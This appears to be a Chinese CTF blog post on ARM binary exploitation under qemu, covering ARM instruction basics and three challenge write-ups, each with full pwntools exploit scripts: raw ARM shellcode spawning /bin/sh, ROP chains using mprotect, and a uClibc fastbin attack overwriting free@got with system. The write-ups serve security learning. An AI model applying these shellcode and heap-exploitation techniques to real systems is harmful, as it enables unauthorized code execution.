好久没写博客了,最近尝试了一些奇怪的架构来水一篇
环境搭建
安装qemu
不同系统安装方式不同,一般来说只需要用到用户模式
ubuntu16里的qemu版本过低会导致gdb调试64位时报错
或者可以使用arm_now https://github.com/nongiach/arm_now
安装依赖
1 2
| sudo apt-get install -y gcc-arm-linux-gnueabi sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
|
简单了解arm
32位
函数调用
常用指令集
bl ≈ call
pop {r11, pc} ≈ pop r11;pop pc
ldr r0,[r1,#8] 将r1+8指向的值赋值给r0
ldr r0,[r1],r2 将r1指向的值赋给r0,并且 r1 += r2
sub sp, fp, #4 sp = fp - 4
64位
函数调用
常用指令集
pop被ldp所代替
ldp x29, x30, [sp], #0x10 将[sp]、[sp+8] 依次赋值给x29,x30,然后sp -= 0x10
ldp x19, x20, [sp, #0x10] 从[sp+0x10]读0x10字节给x19 x20
如何调试
1 2
| qemu-arm -L /usr/arm-linux-gnueabi -g 2345 ./32 qemu-aarch64 -L /usr/aarch64-linux-gnu/ -g 1234 ./64
|
题目
题目都可以在buu找到
inCTF2018_wARMup
题目很简单就是一个栈溢出,但是溢出的字节不多,想要知道多少字节溢出最好gdb调一下,ida显示得不一定准确
arm下大多数栈溢出题目都可以将栈迁移到bss上然后执行shellcode,好像arm的bss段都是可执行,可能和qemu的启动参数有关,这里没有进行深究。
本题的思路也是如此:首先控制程序流,通过一个gadget
1
| 0x10364 <_init+8>: pop {r3, pc}
|
可以控制r3的值,然后再返回到main函数,实现任意地址写
1 2 3 4 5 6 7 8 9
| 0x0001052c <+52>: sub r3, r11, #104 ; 0x68 0x00010530 <+56>: mov r2, #120 ; 0x78 0x00010534 <+60>: mov r1, r3 0x00010538 <+64>: mov r0, #0 0x0001053c <+68>: bl 0x1037c <read@plt> 0x00010540 <+72>: mov r3, #0 0x00010544 <+76>: mov r0, r3 0x00010548 <+80>: sub sp, r11, #4 0x0001054c <+84>: pop {r11, pc}
|
这样我们就可以实现向bss段写入shellcode,并执行。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| #!/usr/bin/env python # -*- coding: utf-8 -*-
from pwn import * from time import sleep import sys context.binary = "./wARMup" context.log_level = "debug" elf = context.binary libc = ELF("./lib/libc.so.6")
if sys.argv[1] == "l": io = process(["qemu-arm", "-L", "./", "./wARMup"]) elif sys.argv[1] == "d": io = process(["qemu-arm", "-g", "1234", "-L", "./", "./wARMup"]) else: io = remote("node3.buuoj.cn", 28965)
sc = b"\x01\x30\x8f\xe2" sc +=b"\x13\xff\x2f\xe1" sc +=b"\x78\x46\x0e\x30" sc +=b"\x01\x90\x49\x1a" sc +=b"\x92\x1a\x08\x27" sc +=b"\xc2\x51\x03\x37" sc +=b"\x01\xdf\x2f\x62" sc +=b"\x69\x6e\x2f\x2f" sc +=b"\x73\x68"
if __name__ == "__main__": base = elf.bss() + 0x300 payload = flat(cyclic(100), base, 0x00010364, base, 0x10534) # pause() io.send(payload) sleep(5) # sc = asm(shellcraft.sh()) io.send(p32(base+ 0x4)+ sc) io.interactive()
|
32位下的通用gadget
1
| 0x105ac <__libc_csu_init+84>: pop {r4, r5, r6, r7, r8, r9, r10, pc}
|
直接调用这条指令会出现 invalid instrument 错误,是因为这里是thumb指令,需要将cpu工作状态转移到thumb指令状态才可以执行。标记ARM状态是用CPSR寄存器中的标志位T。对于bx和ret指令,只需要在确保目的地址值的最后一个bit为1,既可以切换到thumb模式即 0x105ac+1
shanghai2018 baby_arm
一道32位栈溢出一道64位栈溢出 美滋滋
这题比较直接,先往bss段上写数据,再往栈上写,这样我们利用起来就比较简单了
网上一些师傅用到了mprotect,好像不用也可以直接在bss段上执行
需要注意的是第二个read控制的是main函数的返回地址并不是自己的,函数返回地址在局部变量的上面,这里不知道为什么,具体问题具体分析吧。
放两个exp,先是使用了mprotect的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import* from time import sleep context.log_level = 'debug' binary = './pwn' context.binary = binary p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary]) #p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])
bss = 0x411068 mprotect = 0x4007D4 code = asm(shellcraft.sh()).ljust(0x100) + p64(mprotect)
p.sendlineafter(b'Name:',code)
gad1 = 0x4008AC gad2 = 0x4008CC sleep(0.1) padding = b'\x61'*0x48 buf = padding + p64(gad2) + p64(gad1)*2 + p64(0) + p64(1) + p64(bss+0x100) + p64(0x7) + p64(bss)*4 p.send(buf) p.interactive()
|
直接执行的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import* from time import sleep context.log_level = 'debug' binary = './pwn' context.binary = binary #p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary]) #p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary]) p = remote('node3.buuoj.cn',29981) bss = 0x411068 mprotect = 0x4007D4 code = asm(shellcraft.sh()).ljust(0x100) + p64(mprotect)
p.sendlineafter(b'Name:',code)
gad1 = 0x4008AC gad2 = 0x4008CC sleep(0.1) padding = b'\x61'*0x48 #buf = padding + p64(gad2) + p64(gad1)*2 + p64(0) + p64(1) + p64(bss+0x100) + p64(0x7) + p64(bss)*4 buf = padding + p64(bss) p.send(buf) p.interactive()
|
2020第五空间线上 pwnme
这题运行的时候会出现 Invalid ELF image 错误
1
| /lib/ld-uClibc.so.0: Invalid ELF image for this architecture
|
是因为给的文件是从文件系统中提取出来的,提取的过程把链接文件弄错了。正常来说 ld-uClibc.so.0 应该是一个链接文件,指向 ld-uClibc-0.9.33.2.so,libc.so.0 也一样,所以把这俩删掉,然后把另外两个动态库的实体改成链接文件的名即可
1 2 3 4
| ➜ rm -rf libc.so.0 ➜ rm -rf ld-uClibc.so.0 ➜ mv libuClibc-1.0.34.so libc.so.0 ➜ mv ld-uClibc-1.0.34.so ld-uClibc.so.0
|
程序很简单就是一个菜单堆,该有的功能都有。
arm下使用的是uClibc,内存分配机制和glibc相比简洁很多
本题用到了fastbin attack,先贴主要代码,全部代码可以在 \libc\stdlib\malloc-standard 找到
malloc:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) { fb = &(av->fastbins[(fastbin_index(nb))]); if ( (victim = *fb) != 0) { *fb = victim->fd; check_remalloced_chunk(victim, nb); retval = chunk2mem(victim); goto DONE; } }
|
free:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
#if TRIM_FASTBINS
&& (chunk_at_offset(p, size) != av->top) #endif ) {
set_fastchunks(av); fb = &(av->fastbins[fastbin_index(size)]); p->fd = *fb; *fb = p; }
|
该题change功能没有控制写入的字节数目,存在堆溢出。
我们先通过unsortedbin泄露libc基地址然后fastbin attack打free@got改为system,然后free(“/bin/sh”)
思路很简单,但是fastbin的fd实在是没搞懂咋回事,还是具体问题具体分析 芜湖XD
直接给exp吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import*
binary = './a' context.binary = binary context.log_level = 'debug'
p = process(['qemu-arm','-L','./','./a']) #p = process(['qemu-arm','-L','./','-g','1234','./a']) libc = ELF('lib/libc.so.0')
def show(): p.sendlineafter('>>> ','1')
def add(size,content): p.sendlineafter('>>> ','2') p.sendlineafter(':',str(size)) p.sendafter(':',content)
def edit(index,size,content): p.sendlineafter('>>> ','3') p.sendlineafter(':',str(index)) p.sendlineafter(':',str(size)) p.sendafter(':',content)
def free(index): p.sendlineafter('>>> ','4') p.sendlineafter(':',str(index)) offset = 0x9a8ec
add(10,'/bin/sh') add(8,'aaaa') add(50,'aaaa') add(8,'aaaa') add(0xf8,'aaaa') add(0x200,(p32(0)+p32(0x11))*10)
#leak edit(3,20,b'\x61'*8 +p32(0)+p32(0x121)) free(4) add(0xf8,'aaaa') show() p.recvuntil('5 : ') leak = u32(p.recv(4)) libc.address = leak - offset info('libc_base:'+hex(libc.address))
#fastbins attach free(2) edit(1,100,b'\x11'*8 + p32(0) +p32(0x39) + p32(0x00021032)) pause() add(50,'aaaa') add(50,p32(libc.sym['malloc'])*3+p32(libc.sym['read'])*3+p32(libc.sym['atoi'])*2+p32(libc.sym['system'])) free(0)#run p.interactive()
|
reference
https://www.anquanke.com/post/id/199112
https://www.anquanke.com/post/id/204913
https://xz.aliyun.com/t/3154
https://xz.aliyun.com/t/3744
https://m4x.fun/post/how-2-pwn-an-arm-binary/
https://www.colabug.com/2020/0824/7658729/
https://blog.csdn.net/seaaseesa/article/details/107566892
Author:
Sivona
License:
Copyright (c) 2020 CC-BY-NC-4.0 LICENSE
Slogan:
Enforce justice on behalf of Heaven.